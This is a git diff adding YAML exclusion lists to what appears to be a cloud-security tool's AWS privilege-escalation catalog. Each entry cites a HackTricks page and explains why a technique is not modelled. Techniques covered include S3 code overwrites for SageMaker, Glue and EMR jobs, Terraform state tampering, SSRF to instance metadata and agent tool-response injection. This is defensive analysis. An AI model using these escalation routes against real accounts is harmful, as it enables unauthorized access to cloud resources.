src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#s3putobject-on-configured-training-or-processing-code-job-creation-optional + source_revision: 171e422299 + technique: Overwrite S3 code consumed by existing SageMaker training or processing jobs + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-s3-putobject-job-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#ecrputimage-on-a-mutable-processing-image-later-job-required + source_revision: a66f094ede + technique: Replace a mutable ECR image consumed by a later SageMaker Processing job + reason: 'The ecr_repository artifact is not joined to an exact consuming resource and role: + the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-sagemaker-ecr-putimage-processing-image +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mwaa-privesc/README.md#write-a-dag-file-into-an-mwaa-environments-dag-bucket-and-run-code-as-its-execution-role + source_revision: b587e6bd26 + technique: Write a DAG file into an MWAA environment's DAG bucket and run code as its execution + role + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-mwaa-s3-putobject-dag +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ssm-privesc/README.md#ssmupdatedocument-ssmupdatedocumentdefaultversion-ssmlistdocuments--ssmgetdocument + source_revision: 171e422299 + technique: Modify a custom SSM document already executed by associations or maintenance windows + reason: 'The ssm_document artifact is not joined to an exact consuming resource and role: the + AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing + the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-ssm-updatedocument-defaultversion +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-emr-privesc/README.md#s3putobject-on-a-configured-bootstrap-or-step-script + source_revision: 171e422299 + technique: Overwrite an S3 bootstrap action or step script used by EMR + reason: 'The caller must be able to replace the exact current S3 object referenced by a + configured EMR bootstrap action or step. That script must still be downloaded and run by + a later cluster creation or step on an EMR cluster with an identified EC2 instance profile; + the separate EMR service role is not the target. The current evaluator neither joins the + object to that consuming bootstrap action or step and instance profile nor proves a later + execution trigger. A bare s3:PutObject grant cannot establish a principal-to-principal path.' + prior_id: aws-emr-s3-putobject-bootstrap-or-step-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-glue-privesc/README.md#create-or-modify-and-run-a-glue-job + source_revision: 171e422299 + technique: Overwrite the S3 script or dependency of an existing Glue job + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-glue-s3-putobject-job-script +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putbucketnotification-s3putobject-s3getobject + source_revision: 171e422299 + technique: Race-replace CloudFormation templates uploaded to a template bucket + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-cloudformation-template-hijack +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject + source_revision: 6fb9ac51fd + technique: Replace an S3 object fetched and run by an EC2 managed node + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-ec2-userdata-object +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-s3-privesc/README.md#s3putobject-s3getobject-optional-over-terraform-state-file + source_revision: 171e422299 + technique: Tamper with a Terraform state file consumed by a pipeline + reason: 'The terraform_state_object artifact is not joined to an exact consuming resource and + role: the AWS evaluator does not implement via_artifact_type or resolve target.artifact_arn. + Writing the artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-s3-putobject-terraform-state +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-elastic-beanstalk-privesc/README.md#elasticbeanstalkrebuildenvironment-s3-write-permissions--many-others + source_revision: 171e422299 + technique: Replace an environment's source bundle in S3 and rebuild it + reason: 'The s3_object artifact is not joined to an exact consuming resource and role: the AWS + evaluator does not implement via_artifact_type or resolve target.artifact_arn. Writing the + artifact alone cannot establish a principal-to-principal path.' + prior_id: aws-elasticbeanstalk-rebuildenvironment-s3-code +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codeartifact-privesc/README.md#publish-a-newer-compatible-package-version + source_revision: b587e6bd26 + technique: Publish a newer compatible version of a trusted CodeArtifact package consumed by + a privileged workload + reason: 'Publishing a new package version does not by itself start or change a privileged + workload. A principal edge needs the exact consuming build or application, its CodeArtifact + repository and package selection, a dependency range or tag that selects the new version + despite any lockfile, a later installation that executes controlled code, and that + consumer’s recorded role. None of those package-to-consumer-to-role joins is collected, + so this conditional attack remains outside the automatic principal graph.' + prior_id: aws-codeartifact-publishpackageversion-consumer-poisoning diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml new file mode 100644 index 0000000000..ffab4b599e --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_audit_6fb9.yaml @@ -0,0 +1,175 @@ +# AWS: sections reviewed by the HackTricks privesc completeness audit (rev 6fb9ac51fd) and intentionally NOT modelled. +# Each item: {source, technique, reason}. "NEEDS SCHEMA: " items are temporary (see privesc-schema-proposals-aws.md). + +# --- P0 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftcreatefleet--iampassrole--run-code-on-fleet-ec2-as-a-passed-instance-role + technique: gamelift:CreateGameServerGroup + iam:PassRole + reason: The game server group RoleArn is assumed by GameLift FleetIQ to manage the Auto Scaling group, not supplied as the instance profile of code running on those instances. The launch template's instance profile is a separate route with its own role and execution checks. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamsetdefaultpolicyversion + technique: iam:SetDefaultPolicyVersion on a policy attached to a role the source can assume + reason: An existing policy version must be proven to grant administrator access; the v2 selector only covers creating a new default version. + +# --- P4 --- +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "panorama:CreateApplicationInstance / simspaceweaver:StartSimulation + iam:PassRole" + reason: "Both services have reached end of support (AWS Panorama and SimSpace Weaver are discontinued for new and existing customers), so no live edge can be produced." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "osis/entityresolution/timestream/logs/backup-search/dax/aiops/chime/mediapackage-vod/mediaconvert create + iam:PassRole" + reason: "Execution-table rows that run only fixed service logic (ingestion pipelines, matching workflows, scheduled queries, exports, transcoding, DynamoDB caching, telemetry reads) as the passed role; data-access confused deputy without code execution or credentials, same reasoning as #the-pattern." +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ml-dataaccess-passrole-privesc/README.md#affected-actions-non-exhaustive + technique: "finspace:CreateKxUser / finspace:UpdateKxUser" + reason: "The kdb user's iamRole identifies which IAM principal may obtain a connection string for that user; binding a role does not vend that role's credentials to the source. The prior cluster-execution route is retained as an exclusion because AWS ended FinSpace access after October 7, 2026." + +# --- R0 --- +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-iam-persistence/README.md#restore-revoked-iam-roles-anywhere-certificates-by-weakening-the-crl + technique: Restore a previously revoked IAM Roles Anywhere certificate + reason: Requires the source to already possess the revoked end-entity certificate and private key, runtime secrets absent from the configuration snapshot; changing the CRL alone does not identify a reachable role. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-mq-broker-admin-persistence/README.md#rabbitmq-administrator-credentials---persistent-broker-administrator + technique: Create a native RabbitMQ administrator from an existing broker administrator + reason: Requires a previously known RabbitMQ administrator password and network access; no AWS IAM action grants the starting native broker identity. +- source: src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md#create-an-admin-user-inside-the-db + technique: Create a native database administrator using SQL + reason: Requires existing database administrator credentials and engine-level SQL access; no AWS IAM action in this section grants the starting database identity. +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#external-id-confused-deputy + technique: Third-party provider confused deputy (missing or reused sts:ExternalId) + reason: The attacker is a tenant of an external SaaS provider; the provider-side tenant-to-role binding is not in any snapshot. Principals inside the snapshot that can assume an ExternalId-conditioned + role are already drawn (conditional) by aws-sts-assumerole-trusted. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/iam-trust-and-federation-attacks.md#oidc-and-saml-over-trust + technique: Broad OIDC sub / SAML IdP over-trust + reason: Needs a token or assertion from the external IdP (external identity possession), duplicate of the _excluded_a sts:AssumeRoleWithWebIdentity / AssumeRoleWithSAML exclusions. AWS-side provider takeover + is aws-iam-updatesamlprovider / aws-iam-oidcprovider-add-client-id; EKS sub-less trusts are k8s-cloud-eks-irsa-create-matching-sa. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-cloudtrail-to-s3 + technique: Service-principal bucket policy without aws:SourceArn/SourceAccount + reason: Data/log injection into the victim bucket; no principal privileges are obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#example-service-invocation-of-lambda + technique: Lambda permission trusting a service principal without source conditions + reason: Lets a foreign account feed event input to existing function code; whether the input yields execution as the role is application logic (no code or configuration control). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/cross-service-confused-deputy-attacks.md#s3-bucket-name-ownership-changes + technique: Re-creating a deleted legacy-global S3 bucket name + reason: 'Namespace reuse is a dangling-reference Exposure finding: the gain is data delivered to or read from the attacker bucket, and the consumer-to-bucket mapping of deleted buckets is not in the snapshot.' + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#policy-backdoors-and-attacker-resource-lures + technique: Resource-policy backdoors and attacker-resource lures + reason: Resource-policy backdoors are persistence/data sharing for an external principal; lures depend on a victim workload choosing an attacker-supplied resource (application logic). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#high-value-service-matrix + technique: Cross-account resource sharing matrix (S3, KMS, Secrets Manager, SNS/SQS, RAM, snapshots, models, ...) + reason: Rows mix data exposure, injection and persistence. Some role-bearing paths remain conditional candidates, including ECR image consumption, Lambda execution-wrapper changes and SSM document consumers; this matrix does not establish their resource or execution joins. A Service Catalog portfolio share provisions in the recipient account under that account's own launch role, and ds:ShareDirectory only lets + the consumer domain-join its own workloads. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/resource-policy-and-shared-resource-attacks.md#messaging-and-event-injection + technique: External SNS/SQS/EventBridge/API Gateway input to privileged consumers + reason: Input injection into consumers; turning it into execution as the consumer role is application logic. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/organizations-and-central-account-pivots.md#resource-access-manager + technique: RAM share management (external / OU / org shares) + reason: Data, network and resource-use sharing; no IAM principal is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#breaking-the-isolation-2021 + technique: CloudTrail / Config / SAR cross-account service flaws + reason: Fixed AWS service vulnerabilities (historical); the current pattern is data injection only. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amplifycognito-public-role-assumption-cve-2024-28056 + technique: Cross-account assumption of aud-less Cognito roles + reason: Fixed vulnerability (CVE-2024-28056); STS now rejects cross-account Cognito role assumption without an aud restriction. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#shadow-resources-and-bucket-monopoly-2024 + technique: Pre-created shadow buckets of AWS services + reason: Fixed vulnerability (AWS remediated by June 2024). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-cross-account-attacks/historical-cross-account-vulnerabilities.md#amazon-datazone-associateenvironmentrole-confused-deputy-2024 + technique: DataZone AssociateEnvironmentRole cross-account confused deputy + reason: AWS fixed the cross-account confused-deputy issue. The separate same-account AssociateEnvironmentRole route remains a conditional candidate because its project membership, scoped credential and role joins are not yet established. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-identity-center-and-sso-unauthenticated-enum/README.md#aws-device-code-phishing + technique: Identity Center device-code phishing + reason: Requires the victim user to approve the device code (social engineering); no permission of a source principal grants it. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#buildspecyml + technique: Write access to an external repository consumed by CodeBuild + reason: External SCM write access and the exact repository-to-build consumer are not collected. CodeCommit branch and S3 source-object variants are also conditional candidates until their source, execution and role joins are verified. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md#self-hosted-github-actions-runners-in-aws-codebuild + technique: GitHub workflow running on a CodeBuild-hosted runner + reason: Needs workflow control in the external GitHub repository; not expressible from AWS permissions. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#anonymous-privileged-cluster-operations + technique: Kubernetes anonymous bindings with exec/write + reason: Kubernetes RBAC (system:anonymous bindings) belongs to the k8s catalog; no AWS permission is involved. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-eks-unauthenticated-enum/README.md#workload-ssrf--imds--pod-identity--aws-creds + technique: SSRF to IMDS / Pod Identity credentials + reason: Needs an application vulnerability (SSRF/RCE). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum/README.md#ssrf + technique: SSRF to EC2 instance metadata credentials + reason: Needs an application vulnerability (SSRF). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/README.md#aws-secretsession-token-assignments + technique: Leaked access keys / session tokens + reason: Requires a leaked secret (runtime-only state no snapshot holds). + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sagemaker-unauthenticated-enum/README.md#sagemaker-presigned-notebookstudio-urls + technique: Leaked SageMaker presigned notebook/Studio URL + reason: Requires a leaked URL (runtime secret); minting such URLs is modelled by the SageMaker privesc entries. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-datasync-agent-unauthenticated-access/README.md#authenticated-agent-claim-after-activation-key-disclosure + technique: Claim an unactivated DataSync agent with datasync:CreateAgent + reason: Gains a network position (appliance ownership) in the victim network; no IAM principal or role is obtained. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-appconfig-unauthenticated-access/README.md#appconfig-agent-configuration-reads + technique: Querying a reachable AppConfig Agent + reason: Configuration data read through the agent role; no credentials or code execution as the role. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md#oidc---github-actions-abuse + technique: GitHub Actions OIDC over-broad trust + reason: Needs a GitHub-issued OIDC token (external identity); duplicate of the sts:AssumeRoleWithWebIdentity exclusion. + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-devops-agent-post-exploitation/README.md#poison-or-expand-an-existing-service-association + technique: "aidevops:AssociateService / aidevops:UpdateAssociation (+ iam:PassRole)" + reason: "The passed monitoring/elevated role is used by the DevOps Agent for its own investigations; the caller gets no session or code execution as the role unless it also controls the agent's operator plane (see NEEDS SCHEMA X0-1)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--mint-a-workload-token-and-recover-stored-api-keys + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceApiKey + secretsmanager:GetSecretValue" + reason: "Returns a third-party API key stored for agents, not an AWS principal's credentials (same as the excluded AgentCore credential-vend section of the privesc page)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-data-access-post-exploitation/README.md#agentcore-identity--recover-stored-oauth-access-tokens + technique: "bedrock-agentcore:GetWorkloadAccessToken + GetResourceOauth2Token + secretsmanager:GetSecretValue" + reason: "Returns an external OAuth access token bounded by the external provider's scopes; no AWS principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-acm-pca-scep-post-exploitation/README.md#pca-connector-scepcreatechallenge--getchallengepassword--mint-a-scep-enrollment-secret-rogue-device-certificate-backdoor + technique: "pca-connector-scep:CreateChallenge / GetChallengePassword" + reason: "Yields a device certificate for network/mTLS authentication bounded by the SCEP certificate profile; the page documents no AWS principal reached (an IAM Roles Anywhere trust anchor on the same CA would be a separate, undocumented chain)." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-token-leakage.md#recover-githubbitbucket-configured-tokens + technique: "CodeBuild source-provider token leakage (in-build GetBuildInfo, custom Docker image MitM, insecureSsl)" + reason: "Recovers an external GitHub/Bitbucket credential; the prerequisite build-control permissions (CreateProject/UpdateProject/StartBuild) already yield the project role through the modelled CodeBuild entries." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-codebuild-post-exploitation/aws-codebuild-untrusted-pr-webhook-bypass.md#misconfigurations-that-allow-external-pr-code-execution + technique: "Untrusted pull-request execution through weak CodeBuild webhook filters" + reason: "The actor is an external Git user exploiting a webhook-filter misconfiguration, not an AWS principal holding IAM permissions; not expressible as a principal-to-principal edge." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cloudwatch-omni-post-exploitation/README.md#cloudwatchcreateonetimedeeplinkcode--mint-an-authenticated-omni-browser-session + technique: "cloudwatch:CreateOneTimeDeepLinkCode" + reason: "The browser session is bounded by the caller's own IAM identity and space grants; no other principal's privileges are obtained." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-cognito-user-pools-post-exploitation/README.md#add-an-app-client-secret-and-mint-an-m2m-token + technique: "cognito-idp:AddUserPoolClientSecret (post-exploitation page)" + reason: "M2M access tokens carry only the client's custom resource-server scopes (application plane); they are not accepted by identity pools and grant no AWS credentials." + source_revision: 6fb9ac51fd +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-bedrock-post-exploitation/README.md#bedrock-agentcorecreategatewaytarget--updategatewaytarget--mitm-an-agents-tools-tool-response-injection + technique: "bedrock-agentcore:CreateGatewayTarget / UpdateGatewayTarget" + reason: "Tool-response injection and capture of tool arguments / outbound third-party credentials; influences an agent through prompt content but does not give the caller the gateway role's session." + source_revision: 6fb9ac51fd + +# --- X1 --- +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-greengrass-post-exploitation/README.md#related-iot-device-fleet-primitives-same-archetype + technique: "iotevents:CreateDetectorModel / iotevents:UpdateDetectorModel + iam:PassRole" + reason: "Detector-model actions are a fixed set of AWS integrations (publish to SNS/SQS/IoT topics, Lambda invoke, DynamoDB/Firehose writes) executed by the service with the passed role; the source chooses only action parameters and gains narrow data-plane writes, never the role's general privileges or credentials. Same exclusion class as other confused-deputy data-sink PassRole cases." +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/aws-ebs-snapshot-dump.md#shadow-copy + technique: EBS snapshot extraction of Active Directory domain hashes + reason: The configuration snapshot cannot identify which EBS volume contains a Domain Controller database and SYSTEM hive or whether their runtime contents yield usable domain credentials; snapshot permission alone does not establish a reachable domain administrator. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml new file mode 100644 index 0000000000..d83818113b --- /dev/null +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/_excluded_b.yaml @@ -0,0 +1,410 @@ +# AWS part B: techniques from assigned hacktricks-cloud pages excluded from the privesc catalog. +# Each entry: {source, technique, reason}. Reasons follow schema rule 4 (data read, DoS, persistence-only, +# network pivot, fixed code/workflow invoked with attacker input) or rule 5 (outdated / unverifiable). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemdeletefilesystempolicyelasticfilesystemputfilesystempolicy + technique: elasticfilesystem:DeleteFileSystemPolicy / PutFileSystemPolicy + reason: Only the exact PutFileSystemPolicy ClientMount self-grant with reviewed before/after authorization is active as aws-efs-putfilesystempolicy-self-grant. DeleteFileSystemPolicy and broader ClientWrite or ClientRootAccess variants remain unproven. + source_revision: d11f0e7012 + +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemclientmount-and-client-action-combinations + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemclientmount-and-client-action-combinations + source_revision: f2aa915198 + technique: elasticfilesystem:ClientMount / ClientWrite / ClientRootAccess combinations + reason: File-system data access only; any code-planting effect on hosts that execute from EFS is an unmodelled artifact chain without a stable consumer mapping. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreateaccesspoint--elasticfilesystemclientmount + source_revision: f2aa915198 + technique: elasticfilesystem:CreateAccessPoint + ClientMount + reason: Bypasses POSIX restrictions on file data; data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemcreatemounttarget + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemcreatemounttarget + source_revision: f2aa915198 + technique: elasticfilesystem:CreateMountTarget + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation/README.md#elasticfilesystemmodifymounttargetsecuritygroups + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-efs-privesc/README.md#elasticfilesystemmodifymounttargetsecuritygroups + source_revision: f2aa915198 + technique: elasticfilesystem:ModifyMountTargetSecurityGroups + reason: Network pivot to reach the file system; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-gamelift-post-exploitation/README.md#gameliftrequestuploadcredentials + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-gamelift/README.md#gameliftrequestuploadcredentials + historical_source_revision: a53b46392c + source_revision: 3ad99dc7ac + technique: gamelift:RequestUploadCredentials + reason: Returns credentials scoped by GameLift to uploading a build to a service-owned S3 location; does not expose a customer principal's privileges. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmslistkeyskmsputkeypolicy-kmslistkeypolicies-kmsgetkeypolicy + source_revision: a53b46392c + technique: kms:PutKeyPolicy + reason: Grants control/use of a KMS key (cryptographic/data access); no other principal's privileges obtained. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreategrant + source_revision: a53b46392c + technique: kms:CreateGrant + reason: Grants use of a KMS key; data access only. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmscreatekey-kmsreplicatekey + source_revision: a53b46392c + technique: kms:CreateKey + kms:ReplicateKey + reason: Replicates a multi-Region key with a new policy; key/data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation/README.md#kmsdecrypt + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc/README.md#kmsdecrypt + source_revision: f2aa915198 + technique: kms:Decrypt + reason: Data read only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsaildownloaddefaultkeypair + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsaildownloaddefaultkeypair + source_revision: f2aa915198 + technique: lightsail:DownloadDefaultKeyPair + reason: SSH access to Lightsail instances; Lightsail instances have no customer IAM instance profile, so no IAM principal is obtained (host/data access). +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetinstanceaccessdetails + source_revision: a53b46392c + technique: lightsail:GetInstanceAccessDetails + reason: Host access to Lightsail instances without a customer IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailcreatebucketaccesskey + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatebucketaccesskey + source_revision: f2aa915198 + technique: lightsail:CreateBucketAccessKey + reason: Creates keys scoped to a Lightsail bucket (service-managed identity); data access only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailgetrelationaldatabasemasteruserpassword + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailgetrelationaldatabasemasteruserpassword + source_revision: f2aa915198 + technique: lightsail:GetRelationalDatabaseMasterUserPassword + reason: Database credential read; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdaterelationaldatabase + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdaterelationaldatabase + source_revision: f2aa915198 + technique: lightsail:UpdateRelationalDatabase + reason: Database password reset/exposure; data access. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailopeninstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailopeninstancepublicports + source_revision: f2aa915198 + technique: lightsail:OpenInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailputinstancepublicports + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailputinstancepublicports + source_revision: f2aa915198 + technique: lightsail:PutInstancePublicPorts + reason: Network exposure; no new identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailsetresourceaccessforbucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailsetresourceaccessforbucket + source_revision: f2aa915198 + technique: lightsail:SetResourceAccessForBucket + reason: Bucket data access for an instance; no IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-lightsail-post-exploitation/README.md#lightsailupdatebucket + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatebucket + source_revision: f2aa915198 + technique: lightsail:UpdateBucket + reason: Bucket access/exposure change; data access. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatecontainerservice + source_revision: a53b46392c + technique: lightsail:UpdateContainerService + reason: Container code/env change on Lightsail; no customer IAM role is attached to Lightsail containers. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailcreatedomainentry + source_revision: a53b46392c + technique: lightsail:CreateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc/README.md#lightsailupdatedomainentry + source_revision: a53b46392c + technique: lightsail:UpdateDomainEntry + reason: DNS manipulation; traffic interception, no new IAM identity. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-macie-post-exploitation/README.md#amazon-macie---bypass-reveal-sample-integrity-check + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-macie-privesc/README.md#amazon-macie---bypass-reveal-sample-integrity-check + source_revision: f2aa915198 + technique: Macie reveal-sample integrity bypass + reason: Data disclosure only. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagedescribechannel + historical_source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc/README.md#mediapackagedescribechannel + source_revision: fd7d56b0a9 + technique: mediapackage:DescribeChannel + reason: Reads ingest credentials of a media channel; data/third-party credential, not an IAM principal. +- source: src/pentesting-cloud/aws-security/aws-post-exploitation/aws-mediapackage-post-exploitation/README.md#mediapackagelistchannels + historical_source: 